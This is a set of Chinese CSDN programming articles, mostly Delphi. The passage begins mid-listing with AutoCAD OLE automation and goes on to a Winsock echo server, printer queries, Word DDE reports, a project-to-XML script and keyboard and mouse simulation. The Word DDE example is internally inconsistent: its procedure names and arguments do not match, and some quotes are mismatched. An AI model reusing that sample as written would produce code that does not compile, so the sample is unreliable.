ZLine = record
sp,ep: ZPoint;
next: PZLine;
end;

TForm1 = class(TForm)
Panel1: TPanel;
btnOpen: TButton;
BtnSend: TButton;
btnGet: TButton;
PaintBox1: TPaintBox;
procedure btnOpenClick(Sender: TObject);
procedure btnSendClick(Sender: TObject);
procedure btnGetClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure PaintBox1Paint(Sender: TObject);
private
file://存放数据的指针
pData: PZLine;
file://释放存放数据的内存
procedure FreeData;
public
end;

var
Form1: TForm1;

implementation
{$R *.DFM}

procedure TForm1.FreeData;
var
pTmp: PZLine;
begin
file://释放数据链表内存
while pData <> nil do begin
pTmp := pData;
pData := pData^.next;
Dispose(pTmp);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
file://在主窗体的创建时初始化数据指针
pData := nil;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
file://在主窗体的销毁过程中释放内存
FreeData;
end;

file://打开AutoCad
procedure TForm1.btnOpenClick(Sender: TObject);
var
AcadApp : OleVariant;
begin
file://通过创建Ole Automation对象启动AutoCad
AcadApp := CreateOleObject('AutoCad.Application');
AcadApp.visible := true;
file://OleVariant数据类型是自动释放的，所以这里没有释放代码
end;

file://向AutoCad发送数据
procedure TForm1.btnSendClick(Sender: TObject);
var
AcadApp: OleVariant;
AcadDoc: OleVariant;
AcadMoSpace: OleVariant;
sp,ep: Variant;
pTmp: PZLine;
begin
file://得到已启动的AutoCad Application对象
AcadApp := GetActiveOleObject('AutoCad.Application');
file://得到AutoCad Document对象
AcadDoc := AcadApp.ActiveDocument;
file://得到AutoCad ModelSpace对象
AcadMoSpace := AcadDoc.ModelSpace;
file://遍历数据链表
pTmp := pData;
while pTmp <> nil do begin
file://创建包含数组的Variant变量sp，用于向AutoCad传递起点数据
sp := VarArrayCreate([0,2],VarDouble);
sp[0] := pTmp^.sp.x;
sp[1] := pTmp^.sp.y;
sp[2] := 0.0;
file://创建包含数组的Variant变量ep，用于向AutoCad传送终点数据
ep := VarArrayCreate([0,2],VarDouble);
ep[0] := pTmp^.ep.x;
ep[1] := pTmp^.ep.y;
ep[2] := 0.0;
file://VarArrayRef把包含数组的Variant变量转换成Variant数组，
file://使用AutoCad 14.0时要调用此函数，AutoCad 2000不需要
AcadMoSpace.AddLine(VarArrayRef(sp),VarArrayRef(ep));
pTmp := pTmp^.next;
end;
end;

file://从AutoCad提取数据
procedure TForm1.btnGetClick(Sender: TObject);
var
AcadApp: OleVariant;
AcadDoc: OleVariant;
AcadMoSpace: OleVariant;
AcadObj: OleVariant;
AcadPt: Variant;
i: integer;
EntiType: Integer;
pTmp: PZLine;
begin
file://得到所需的AutoCad对象
AcadApp := GetActiveOleObject('AutoCad.Application');
AcadDoc := AcadApp.ActiveDocument;
AcadMoSpace := AcadDoc.ModelSpace;
file://释放以前存放的数据
FreeData;
file://遍历模型空间中的每一个实体对象
for i := 0 to AcadMoSpace.Count-1 do begin
file://引用第i个实体对象
AcadObj := AcadMoSpace.Item(i);
file://提取实体类型
EntiType := AcadObj.EntityType;
file://判断是不是直线
if EntiType = acLine then begin
file://如果是直线，则提取相应的起点终点数据
new(pTmp);
AcadPt := AcadObj.StartPoint;
pTmp^.sp.x := AcadPt[0];
pTmp^.sp.y := AcadPt[1];
AcadPt := AcadObj.EndPoint;
pTmp^.ep.x := AcadPt[0];
pTmp^.ep.y := AcadPt[1];
pTmp^.next := pData;
pData := pTmp;
end;
end;
file://刷新用于显示结果的PaintBox
PaintBox1.Invalidate;
end;

file://显示提取的数据
procedure TForm1.PaintBox1Paint(Sender: TObject);
var
MaxX, MaxY: double;
MinX, MinY: double;
pTmp: PZLine;
scale: double;
x,y: integer;
begin
pTmp := pData;
if pTmp = nil then exit;

file://计算放缩比例
MaxX := pTmp^.sp.x;
MinX := MaxX;
MaxY := pTmp^.sp.y;
MinY := MaxY;
while pTmp <> nil do begin
if MaxX < pTmp^.sp.x then MaxX := pTmp^.sp.x;
if MinX > pTmp^.sp.x then MinX := pTmp^.sp.x;
if MaxY < pTmp^.sp.y then MaxY := pTmp^.sp.y;
if MinY > pTmp^.sp.y then MinY := pTmp^.sp.y;
if MaxX < pTmp^.ep.x then MaxX := pTmp^.ep.x;
if MinX > pTmp^.ep.x then MinX := pTmp^.ep.x;
if MaxY < pTmp^.ep.y then MaxY := pTmp^.ep.y;
if MinY > pTmp^.ep.y then MinY := pTmp^.ep.y;
pTmp := pTmp^.next;
end;
scale := (PaintBox1.Width - 10) / (MaxX-MinX);
if scale > (PaintBox1.Height - 10) / (MaxY-MinY) then begin
scale := (PaintBox1.Height - 10) / (MaxY-MinY);
end;

file://显示提取的数据
pTmp := pData;
while pTmp <> nil do begin
x := round((pTmp^.sp.x - MinX) * scale) + 5;
y := PaintBox1.Height - (round((pTmp^.sp.y - MinY) * scale) + 5);
PaintBox1.Canvas.MoveTo(x,y);
x := round((pTmp^.ep.x - MinX) * scale) + 5;
y := PaintBox1.Height - (round((pTmp^.ep.y - MinY) * scale) + 5);
PaintBox1.Canvas.LineTo(x,y);
pTmp := pTmp^.next;
end;
end;

end.

本程序在PWin98se+Delphi5.0环境下编译通过，在AutoCad14.0、AutoCad2000
下运行通过，源代码可在此下载：http://wangxd.51.net/software/delphicad.zip。


CSDN_文档中心_用pascal写的最简单的winsock程序

我把socket编程教程的第一个例子改写了一下
服务器接受客户信息,再反送回去

实际上是直接调用win api
在delphi4下用命令行编译
dcc32 -cc server1.pas
用windows自带的telnet测试

server1.pas:
program server1;

uses windows,winsock;

const myport=1414;//预定义口

{type
  sockaddr_in = record
    case Integer of
      0: (sin_family: u_short;
          sin_port: u_short;
          sin_addr: TInAddr;
          sin_zero: array[0..7] of Char);
      1: (sa_family: u_short;
          sa_data: array[0..13] of Char)
  end;
  TSockAddrIn = sockaddr_in;
  PSOCKADDR = ^TSockAddr;
  TSockAddr = sockaddr_in;

  WSAData = record // !!! also WSDATA
    wVersion: Word;
    wHighVersion: Word;
    szDescription: array[0..WSADESCRIPTION_LEN] of Char;
    szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
    iMaxSockets: Word;
    iMaxUdpDg: Word;
    lpVendorInfo: PChar;
  end;
  TWSAData = WSAData;

end
}

var str:string;
    s,ns:TSocket;//type:u_int|integer;
    ver:word;
    rece:TWSAData;//type:WSAData;
    wsstatus:integer;//winsocket_status;
    i,pktlen:integer;
    szd:array[0..WSADESCRIPTION_LEN] of Char;
    szs:array[0..WSASYS_STATUS_LEN] of Char;
    server:TSockAddr;//tpye:sockaddr_in
    client:PSockAddr;//type:^sockaddr_in
    namelen:PInteger;//type:^Integer;
    buf:array[0..1023] of char;

begin
ver:=514;
write('WSAStartup = ');
try
wsstatus:=WSAStartup(ver,rece);
//初始化winsock;在windows下是必须的过程
writeln(wsstatus);//winsock状态,0代表成功
if wsstatus=0 then
begin
writeln;
writeln('********************************************************************************');
//以下显示winsock状态
write('wVersion = ');
writeln(rece.wVersion);
write('wHighVersion = ');
writeln(rece.wHighVersion);
write('iMaxSockets = ');
writeln(rece.iMaxSockets);
write('iMaxUdpDg = ');
writeln(rece.iMaxUdpDg);
writeln('szDescription is ');
for i:=0 to WSADESCRIPTION_LEN do write(szd[i]);
writeln;
writeln('szSystemStatus is ');
for i:=0 to WSASYS_STATUS_LEN do write(szs[i]);
writeln;
writeln('********************************************************************************');
end;

write('socket = ');
s:=socket(AF_INET,SOCK_STREAM,0);
//第一步,建立服务器的socket,0表示成功
writeln(s);
if s<0 then exit;

write('bind = ');
server.sin_family := AF_INET;
server.sin_port := htons(myport);
server.sin_addr.s_addr := INADDR_ANY;
wsstatus:=bind(s,server,sizeof(server));
//第二步,绑定,0表示成功
writeln(wsstatus);
if wsstatus<>0 then exit;

write('listen = ');
wsstatus:=listen(s,5);
//第三步,监听
writeln(wsstatus);
if wsstatus<>0 then exit;

write('accept = ');
new(client);
new(namelen);
namelen^:=sizeof(client^);
ns:=accept(s,client,namelen);
//第四步,等待接收
//注:bind时传递的是sockaddr_in结构的数据,accept时是两个指针!!!
if ns=-1 then //以下可以做成多线程过程
   begin
   writeln(-1);
   exit;
   end
   else
   begin
   writeln(ns);
   pktlen:=0;
   writeln('recv');
   repeat
   pktlen:= recv(ns,buf,1024,0);//接收数据
//pktlen=为接收长度,0表示断开联接,<0表示失败
   sleep(1);
   write(pktlen:5);
   if pktlen>0 then
   begin
   i:=send(ns,buf,pktlen,0);//返回数据
   end;
   until pktlen<1;//循环直到客户断开联接
   end;
finally
writeln;
writeln('********************************************************************************');
writeln('Press to exit winsocket');
readln(str);
wsstatus:=WSACleanup();//退出winsocket;
write('WSACleanup = ');
writeln(wsstatus);
end;
writeln;
writeln('Press to exit');
readln(str);
end.

补充日期: 2000-07-22 10:37:10

二进制代码在 http://mamahu.363.net/server1.exe
我要离开南京了,临行前做个纪念,我会想念大家的

BTW: .abu. , how about "http://www.patching.net" now?


CSDN_文档中心_用winspool取得本机安装的打印机的详细信息

用winspool取得本机安装的打印机的详细信息

在Delphi 6 Professional version on Windows 2000 Professional环境下测试过
窗体的名字为"FPrint"，有TMemo 和 TCombobox 两个控件

unit unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, ComCtrls, TabEdit, Printers, Buttons, WinSpool;

type
TPrinterInfo = record
SeverName : PChar;
PrinterName : PChar;
ShareName : PChar;
PortName : PChar;
DriverName : PChar;
Comment : PChar;
Location : PChar;
DeviceMode : PDeviceModeA;
SepFile : PChar;
PrintProcessor : PChar;
DataType : PChar;
Parameters : PChar;
SecurityDescriptor: PSecurityDescriptor;
Attributes : Cardinal;
DefaultPriority : Cardinal;
StartTime : Cardinal;
UntilTime : Cardinal;
Status : Cardinal;
Jobs : Cardinal;
AveragePPM : Cardinal;
end;

TFPrint = class(TForm)
Memo1: TMemo;
ComboBox1: TComboBox;
procedure FormShow(Sender: TObject);
procedure ComboBox1Change(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

function GetCurrentPrinterInformation: TPrinterInfo;
function GetCurrentPrinterHandle: THandle;

var
FPrint: TFPrint;

implementation

{$R *.dfm}

function GetCurrentPrinterHandle: THandle;
var
Device, Driver, Port : array[0..255] of char;
hDeviceMode: THandle;
begin
Printer.GetPrinter(Device, Driver, Port, hDeviceMode);
if not OpenPrinter(@Device, Result, nil) then
RaiseLastWin32Error;
end;

function GetCurrentPrinterInformation: TPrinterInfo;
var
hPrinter : THandle;
pInfo: PPrinterInfo2;
bytesNeeded: DWORD;
begin
hprinter := GetCurrentPrinterHandle;
try
Winspool.GetPrinter( hPrinter, 2, Nil, 0, @bytesNeeded );
pInfo := AllocMem( bytesNeeded );
try
Winspool.GetPrinter( hPrinter, 2, pInfo, bytesNeeded, @bytesNeeded );
Result.SeverName := pInfo^.pServerName;
Result.PrinterName := pInfo^.pPrinterName;
Result.ShareName := pInfo^.pShareName;
Result.PortName := pInfo^.pPortName;
Result.DriverName := pInfo^.pDriverName;
Result.Comment := pInfo^.pComment;
Result.Location := pInfo^.pLocation;
Result.DeviceMode := pInfo^.pDevMode;
Result.SepFile := pInfo^.pSepFile;
Result.PrintProcessor := pInfo^.pPrintProcessor;
Result.DataType := pInfo^.pDatatype;
Result.Parameters := pInfo^.pParameters;
Result.SecurityDescriptor := pInfo^.pSecurityDescriptor;
Result.Attributes := pInfo^.Attributes;
Result.DefaultPriority := pInfo^.DefaultPriority;
Result.StartTime := pInfo^.StartTime;
Result.UntilTime := pInfo^.UntilTime;
Result.Status := pInfo^.Status;
Result.Jobs := pInfo^.cJobs;
Result.AveragePPM := pInfo^.AveragePPM;
finally
FreeMem( pInfo );
end;
finally
ClosePrinter( hPrinter );
end;
end;

procedure TFPrint.FormShow(Sender: TObject);
begin
ComboBox1.Items.Assign(Printer.Printers);
ComboBox1.ItemIndex := 0;
ComboBox1.OnChange(nil);
end;

procedure TFPrint.ComboBox1Change(Sender: TObject);
var
PrinterInfo: TPrinterInfo;
begin
PrinterInfo := GetCurrentPrinterInformation;
memo1.Clear;
with memo1.Lines do
begin
Add('GENERAL INFORMATION');
Add('');
Add('ServerName: ' + PrinterInfo.SeverName);
Add('PrinterName: ' + PrinterInfo.PrinterName);
Add('ShareName: ' + PrinterInfo.ShareName);
Add('PortName: ' + PrinterInfo.PortName);
Add('DriverName: ' + PrinterInfo.DriverName);
Add('Comment: ' + PrinterInfo.Comment);
Add('Location: ' + PrinterInfo.Location);
Add('SepFile: ' + PrinterInfo.SepFile);
Add('PrintProcessor: ' + PrinterInfo.PrintProcessor);
Add('DataType: ' + PrinterInfo.DataType);
Add('Parameters: ' + PrinterInfo.Parameters);
Add('Attributes: ' + IntToStr(PrinterInfo.Attributes));
Add('DefaultPriority: ' + IntToStr(PrinterInfo.DefaultPriority));
Add('StartTime: ' + IntToStr(PrinterInfo.StartTime));
Add('UntilTime: ' + IntToStr(PrinterInfo.UntilTime));
Add('Status: ' + IntToStr(PrinterInfo.Status));
Add('Jobs: ' + IntToStr(PrinterInfo.Jobs));
Add('AveragePPM: ' + IntToStr(PrinterInfo.AveragePPM));
Add('');
Add('DEVICEMODE INFORMATION');
Add('');

Add('DeviceName: ' + PrinterInfo.DeviceMode.dmDeviceName);
Add('SpecVersion: ' + IntToStr(PrinterInfo.DeviceMode.dmSpecVersion));
Add('DriverVersion: ' + IntToStr(PrinterInfo.DeviceMode.dmDriverVersion));
Add('Size: ' + IntToStr(PrinterInfo.DeviceMode.dmSize));
Add('DriverExtra: ' + IntToStr(PrinterInfo.DeviceMode.dmDriverExtra));
Add('Fields: ' + IntToStr(PrinterInfo.DeviceMode.dmFields));
Add('Orientation: ' + IntToStr(PrinterInfo.DeviceMode.dmOrientation));
Add('PaperSize: ' + IntToStr(PrinterInfo.DeviceMode.dmPaperSize));
Add('PaperLength: ' + IntToStr(PrinterInfo.DeviceMode.dmPaperLength));
Add('PaperWidth: ' + IntToStr(PrinterInfo.DeviceMode.dmPaperWidth));
Add('Scale: ' + IntToStr(PrinterInfo.DeviceMode.dmScale));
Add('Copies: ' + IntToStr(PrinterInfo.DeviceMode.dmCopies));
Add('DefaultSource: ' + IntToStr(PrinterInfo.DeviceMode.dmDefaultSource));
Add('PrintQuality: ' + IntToStr(PrinterInfo.DeviceMode.dmPrintQuality));
Add('Color: ' + IntToStr(PrinterInfo.DeviceMode.dmColor));
Add('Duplex: ' + IntToStr(PrinterInfo.DeviceMode.dmDuplex));
Add('YResolution: ' + IntToStr(PrinterInfo.DeviceMode.dmYResolution));
Add('TTOption: ' + IntToStr(PrinterInfo.DeviceMode.dmTTOption));
Add('Collate: ' + IntToStr(PrinterInfo.DeviceMode.dmCollate));
Add('LogPixels: ' + IntToStr(PrinterInfo.DeviceMode.dmLogPixels));
Add('BitsPerPel: ' + IntToStr(PrinterInfo.DeviceMode.dmBitsPerPel));
Add('PelsWidth: ' + IntToStr(PrinterInfo.DeviceMode.dmPelsWidth));
Add('PelsHeight: ' + IntToStr(PrinterInfo.DeviceMode.dmPelsHeight));
Add('DisplayFlags: ' + IntToStr(PrinterInfo.DeviceMode.dmDisplayFlags));
Add('DisplayFrequency: ' + IntToStr(PrinterInfo.DeviceMode.dmDisplayFrequency));
Add('ICMMethod: ' + IntToStr(PrinterInfo.DeviceMode.dmICMMethod));
Add('ICMintent: ' + IntToStr(PrinterInfo.DeviceMode.dmICMIntent));
Add('MediaType: ' + IntToStr(PrinterInfo.DeviceMode.dmMediaType));
Add('DitherType: ' + IntToStr(PrinterInfo.DeviceMode.dmDitherType));
Add('ICCManufacturer: ' + IntToStr(PrinterInfo.DeviceMode.dmICCManufacturer));
Add('ICCModel: ' + IntToStr(PrinterInfo.DeviceMode.dmICCModel));
Add('PanningWidth: ' + IntToStr(PrinterInfo.DeviceMode.dmPanningWidth));
Add('PanningHeight: ' + IntToStr(PrinterInfo.DeviceMode.dmPanningHeight));
end;
end;

end.
//rock
//转载请保留此信息


CSDN_文档中心_用Word做Delphi报表输出工具

用Word做Delphi报表输出工具
整理编辑：China ASP

    笔者在实际应用中发现，报表的内容一般很少变动，但其字体格式及版式是经常变动的，而且有时用户为了某种需要，不想修改数据库的真实内容而又要改变报表内容。如果用ReportSmith可以解决前者问题，但对于后者则无能为力了，且其界面是英文的，不合用户习惯。如果用3.0中的TQReport的报表部件，则两者都不能实时解决，必须修改原代码后重新编译才能使用。而使用Word及Excel则完全可以克服以上不足。具体实现如下(以Word实现为例)：

    首先用Word编辑报表格式，并排好版，把将要输出的数据项用表单域代替，并取名。这里我们暂时假设有表单域Item1及Item2(均为文本型),将这个文档存为模板文件Example.dot，然后按如下步骤进行：

    1)运行Delphi3，在Form1里加入一个System部件集里的TDdeClientCov部件，取名为DdeExample,将其ConnectMode设为ddeManual(手动方式)；将DdeService设为‘(WinWord)’；将ServiceApplication设为‘WinWord’。

    2)编写一个自定义过程，以激活Word，如下：
    procedure Tform1.WordActive(Cmds: TStrings);
    var
     WordPath: String;
    begin
     if(not DdeExample.OpenLink) then {判断是否巳动态链接}
     begin
    if(FindWindow('OpusApp', nil)=0) then
    begin
    WordPath := 'C:\msoffice\winword';
     if(WordPath='') then
    ShowMessage('中文Word未安装或未设置路径，请安装设置Word中文 版。')
     else begin
    DdeExample.ServiceApplication := WordPath+'\Winword.exe';
    if(DdeExample.OpenLink) then {如果巳动态链接执行宏命令}
DdeExample.ExecuteMacroLines(Cmds,False)
   else
ShowMessage('无法启动Word中文版!');
   DdeExample.ServiceApplication := 'WinWord.exe';
   end;
     end
     else begin{如果巳动态链接执行宏命令}
     DdeExample.ExecuteMacroLines(Cmds,False);
     end;
     end
     else
     DdeExample.ExecuteMacroLines(Cmds,false);
    end;

    在private声明区里加入如下：
    procedure ActiveWord(Cmds: TStrings);

    3)在Form1中加入一个按钮Button1,在其onclick事件里写如下代码：
    procedure TForm1.Button1Click(Sender: TObject);
    var
    Cmds:TStringList;{创建Cmds}
    TempItem1,TempItem2:String;
    begin
    cmds:=TStringList.Create;
    cmds.Clear;
    TempItem1:='数据项一';
    TempItem2:='数据项二';
    with Cmds do
    begin
    Clear;
    Add('[FileNew.Template ="Example.Dot″]');{打开模板文件Example.Dot}
    Add('[AppMaximize]');{文档最大化}
    Add('[SetFormResult"Item1″,″'+TempItem1+'″]');{将数据TempItem1传给表单域Item1}
    Add('[SetFormResult"Item2″,″'+TempItem2+'″]);{将数据TempItem2传给表单域Item2}
    end;
    WordActive(DdeExample,Cmds);{调用自定义过程}
    Cmds.Free;{释放Cmds}
    end;

    运行这个程序，单击Button1，大家可以发现Word被启动了，屏幕上出现了：数据项一;数据项二两个数据项。最后，大家可以任意修改本报表的格式及数据，因为这时这个报表与具体的应用程序巳没有关系了。

    本例中用的是中文Word6或中文Word7。由于Word97的宏命令巳变为Visual Basic语句，如大家想用Word97实现，请将其宏命令改变为相应的代码。

    这是个简单的示例，大家可以利用Word的宏录制功能，录取更多的宏(如自动生成表格、填充文字、变动字体等宏命令)，并与数据库的各种表联系起来，依次加入Cmds中即可实现您所要求的更复杂的功能。


CSDN_文档中心_用XML实现编程语言间的互译

编程语言间的隔阂虽然不如人类语言间的隔阂那么大，但确实是比较困挠程序员的一个问题。如果能通过某种方法实现象Delphi->c之类的转换，将是一件引人注目的事情，但这也许并不能使人们花大量的时间来实现这样的转换。我们来看，如果你是一个Delphi或C++Builder的高手，你一定做过这两者间的转换吧。每天都有大量的人做这类事的事情将带来多么大的浪费呀。而且，如果真的有可能实现的话，无疑会为开发智能编程机器积累技术和经验，给象国产的易语言这类生僻的编程语言更大的生机。为此，我作了一些思考。
首先，我们应当慢慢来。我假设所要面对的是普通的Windows GUI程序，为使用更多的先进技术（大部分的商业软件就是如此）。因为Windows编程几乎全部基于Windows API中的函数。所以，有比较好的共性。在选择转换技术上我选择了XML。因为它得到了广泛的支持，且有很强的扩展性。主题思想如下图：
V B
||
\ /
\/
XML(面向具体的编程语言，仅仅考虑完善的描述不考虑通用性。
||
\ /
\/

Delphi =====>> XML(同上)====>>>XPML(我瞎编的，一种通用性的程序描述格式，使用xml)…………
/\
/ \
||
||
XML(同上)
/\
/ \
||
||
C++Builder
这种花瓣形的互译模式，可以减少许多过程。转换时面对的都是统一的标准格式XPML。简明可操作。
然后要着手是使编程语言到描述其的XML语言的转换。我已经坐了一小步，定了一个描述delphi语言源文件的xml格式，描述了dpr,pas,dfm文件。如下：

<?xml version="1.0" encoding="gb2312"?>
<delphi>
<project>
<program>Project1
</program>
<uses><name>Forms</name>
</uses>
<uses><name>Unit1</name><path>Unit1.pas</path><comment>Form1</comment>
</uses>
<res>
</res>
<Initialize>
<exp><Application><Initialize></Initialize></Application></exp>
<exp><Application><CreateForm><param>TForm1</param><param>Form1</param></CreateForm></Application></exp>
<exp><Application><Run></Run></Application></exp>
</Initialize>
</project>
<description>
<Unit1>
<Form1 source='TForm1'>
<attribute>
<Left>192</Left>
<Top>107</Top>
<Width>544</Width>
<Height>375</Height>
<Caption>'Hello World'</Caption>
<Color>clBtnFace</Color>
<Font>
<Charset>DEFAULT_CHARSET</Charset>
<Color>clWindowText</Color>
<Height>-11</Height>
<Name>'MS Sans Serif'</Name>
<Style>[]</Style>
</Font>
<OldCreateOrder>False</OldCreateOrder>
<PixelsPerInch>96</PixelsPerInch>
<TextHeight>13</TextHeight>
</attribute>
</Form1>
</Unit1>
</description>
<source>
<Unit1>
<interface>
<uses>Windows
</uses>
<uses>Messages
</uses>
<uses>SysUtils
</uses>
<uses>Classes
</uses>
<uses>Graphics
</uses>
<uses>Controls
</uses>
<uses>Forms
</uses>
<uses>Dialogs
</uses>
</interface>
<implementation>
</implementation>
</Unit1>
</source>
</delphi>

然后编出具体的代码，实现这一步的转换，我也坐了一小步，实现了dpr->xml的一部分，即转换工程名，Uses段和资源段，初始化段上为实施。如下，程序使用Windows Scripting Host写的，很业余，运行请保存为*.js双击即可。

// Windows Script Host to convert delphi's project file into xml file
//
// ------------------------------------------------------------------------
// Copyright (C) 2001 hcstudio
//
// You have a royalty-free right to use, modify, reproduce and distribute
// the Application Files (and/or any modified version) in any way
// you find useful, provided that you agree that hcstudio has no warranty,
// obligations or liability for any Application Files.
// ------------------------------------------------------------------------

// This script will convert delphi's project file into xml file.

var source;
var program,uses,resource;
var program=new Array();
var uses = new Array();

filename="Project1.dpr";
source=ReadFile(filename);

program=FindProgram(source);
uses=FindUses(program[1]);
resource=FindResource(uses[uses.length-1]);
program=program[0];
CreateXml(program,uses,resource);

//////////////////////////////////////////////////////////////////////////////////
//
// ReadFile to parse and return the file content as string
//

function ReadFile(filename)
{
var fso,file,stream,source;
fso = new ActiveXObject("Scripting.FileSystemObject");
file = fso.GetFile(filename);
stream = file.OpenAsTextStream(1,-2);
source=stream.readall();
return(source);
}

//////////////////////////////////////////////////////////////////////////////////
//
// Find the Program name and return the rest
//

function FindProgram(source)
{
var program,next,uptarget,downtarget,up,down;
var toReturn;
uptarget=/program/;
downtarget=/;/;
up=source.search(uptarget);
down=source.search(downtarget);
program=source.substring(up,down);
uptarget=/\s/;
up=program.search(uptarget);
program=program.slice(up);
next=source.slice(down+1);

var toReturn=new Array();
toReturn[0]=program;
toReturn[1]=next;
return(toReturn);
}

//////////////////////////////////////////////////////////////////////////////////
//
// A group of function to find uses
//

function FindUses(source)
{
var uses;
uses=new Array();

var Uses,uptarget,downtarget,up,down;
uptarget=/uses/;
downtarget=/;/;
up=source.search(uptarget);
down=source.search(downtarget);
Uses=source.substring(up,down);
uptarget=/\s/;
up=Uses.search(uptarget);
Uses=Uses.slice(up);
uses=FindUsesDetail(Uses);
next=source.slice(down+1);
uses[uses.length]=next;

return(uses);
}

function FindUsesDetail(Uses)
{
var auses,first,second,ifin,ifleft,ifright,i;
first=new Array();
auses=new Array();
first=Uses.split(",");
ifin=/\sin\s/;
ifleft=/'*'/;
ifright=/\./;
for(i=0;i<first.length;i++)
{
if(first[i].search(ifin)==-1)
{
auses[i*2]=first[i];
auses[i*2+1]=0;
}
else
{
auses[i*2]=first[i].substring(0,first[i].search(ifin));
auses[i*2+1]=first[i].substring(first[i].search(ifleft)+1,first[i].search(ifright)+4);
}
}
return(auses);
}

//////////////////////////////////////////////////////////////////////////////////
//
// Find the Resource and return the next
//

function FindResource(source)
{
var ifres,resource, j,found;
ifres=/{/;
var resource=new Array();
j=0;
do
{
if(found!=-1)
{
found=source.search(ifres);
resource[j]=source.substring((found+3),source.search(/}/));
j++;
source=source.slice(source.search(/}/)+1);
}
}
while (found!=-1);
resource[resource.length]=source;
return(resource);
}

//////////////////////////////////////////////////////////////////////////////////
//
// to createXml file using program,uses(array of string)
//

function CreateXml(program,uses,resource)
{
var filename;
filename="delphi.xml";
WriteFlag(filename);
var i;

var xmlDoc = new ActiveXObject("Msxml2.DOMDocument");
xmlDoc.load(filename);
var rootElement=xmlDoc.createElement("delphi");
var projectElement=xmlDoc.createElement("Project");

var programElement=xmlDoc.createElement("program");
var programElementText=xmlDoc.createTextNode(program);
programElement.appendChild(programElementText);
projectElement.appendChild(programElement);

for(i=0;i<uses.length-1;i=i+2)
{
var usesElement=xmlDoc.createElement("uses");
var usesnameElement=xmlDoc.createElement("name");
var usespathElement=xmlDoc.createElement("path");
var usesnameElementText=xmlDoc.createTextNode(uses[i]);
var usespathElementText=xmlDoc.createTextNode(uses[i+1]);
usesnameElement.appendChild(usesnameElementText);
usespathElement.appendChild(usespathElementText);
usesElement.appendChild(usesnameElement);
usesElement.appendChild(usespathElement);
projectElement.appendChild(usesElement);
}
for(i=0;i<resource.length-2;i++)
{
var resourceElement=xmlDoc.createElement("resource");
var resourceElementText=xmlDoc.createTextNode(resource[i]);
resourceElement.appendChild(resourceElementText);
projectElement.appendChild(resourceElement);
}
rootElement.appendChild(projectElement);
xmlDoc.appendChild(rootElement);
xmlDoc.save(filename);
}

function WriteFlag(filename)
{
var fso,file,stream,source;
fso = new ActiveXObject("Scripting.FileSystemObject");
file = fso.CreateTextFile(filename,true);
file.WriteLine("<?xml version=\"1.0\" encoding=\"gb2312\"?>");
file.Close();
}

//////////////////////////////////////////////////////////////////////////////////
//
// for debug use
//
function Display(program)
{
var WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Popup(program);
}

最后综合各种语言的xml描述形式，定出XPML(Extensive Programming Markup Language)的标准。关键的互译开始了。


CSDN_文档中心_用程序模拟键盘和鼠标键盘

    在Windows大行其道的今天，windows界面程序受到广大用户的欢迎。对这些程序的操作不外乎两种，键盘输入控制和鼠标输入控制。有时，对于繁杂的，或重复性的操作，我们能否通过编制程序来代替手工输入，而用程序来模拟键盘及鼠标的输入呢？答案是肯定的。这主要是通过两个API函数来实现的。

    下面以Delphi为例来介绍一下如何实现这两个功能。模拟键盘我们用Keybd_event这个api函数，模拟鼠标按键用mouse_event函数。大家不用担心，在delphi里调用api函数是很方便的事。

    先介绍一下Keybd_event函数。Keybd_event能触发一个按键事件，也就是说回产生一个WM_KEYDOWN或WM_KEYUP消息。当然也可以用产生这两个消息来模拟按键，但是没有直接用这个函数方便。Keybd_event共有四个参数，第一个为按键的虚拟键值，如回车键为vk_return,　tab键为vk_tab。第二个参数为扫描码，一般不用设置，用0代替就行。第三个参数为选项标志，如果为keydown则置0即可，如果为keyup则设成“KEYEVENTF_KEYUP”，第四个参数一般也是置0即可。用如下代码即可实现模拟按下i键，其中的$49表示i键的虚拟键值：

keybd_event($49,0,0,0);
keybd_event($49,0,KEYEVENTF_KEYUP,0); ...

    mouse_event最好配合setcursorpos(x,y)函数一起使用，与Keybd_event类似，mouse_event有五个参数，第一个为选项标志，为MOUSEEVENTF_LEFTDOWN时表示左键按下，为MOUSEEVENTF_LEFTUP表示左键松开，向系统发送相应消息。第二三个参数分别表示x,y相对位置，一般可设为0,0,第四五个参数并不重要，一般也可设为0,0。若要得到Keybd_event和mouse_event函数的更详细的用法，可以查阅msdn或delphi帮助。下面是关于mouse_event的示例代码：

setcursorpos(20,132);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); ...

      上面的代码表示鼠标的双击，若要表示单击，用两个mouse_event即可(一次放下，一次松开)。
      注意，不管是模拟键盘还是鼠标事件，都要注意还原，即按完键要松开，一个keydown对应一个keyup；鼠标单击　完也要松开， 不然可能影响程序的功能。

      好了，希望本文能让你对模拟键盘和鼠标按键有个初步的了解，如果想更深入的了解其中的奥妙，可以查阅详实的msdn在线帮助，并多多动手实践。如果对程序有不明白的地方，可以到coolbaby.delphibbs.com下载相应的源程序。


CSDN_文档中心_用程序设置打印纸张类型

var
Device:Array[0..cchDeviceName-1] of Char;
Driver:Array[0..(MAX_PATH-1)] of Char;
Port:Array[0..32] of Char;
hDMode:THandle;
pDMode:PDevMode;
begin
Printer.GetPrinter(Device,Driver,Port,hDMode);
if hDMode<>0 then
begin
pDMode:=GlobalLock(hDMode);
if pDMode<>nil then
begin
pDMode^.dmPaperSize:=DMPAPER_A5;
pDMode^.dmFields:=pDMode^.dmFields or DM_PAPERSIZE;
GlobalUnLock(hDMode);
end;
end;
end;


CSDN_文档中心_用面向对象方法解决24点问题

      采用UML建模是以后的发展趋势，但市面上相关的书籍讲得非常理论化，很少与具体语言关联来讲解，偶尔见到的也是与Java相关，还没见到与Delphi结合使用的。所以我想测试一下用UML与用传统方法的区别，并用Delphi7+ModelMaker 6.2作为书写工具。完成后决定把使用过程写出来与大家分享，作者的经验不足，发现使用不当的地方，欢迎与作者联系.

      作者：杨成林

      testnet@163.com

      2003.1.2

    • 算法思路

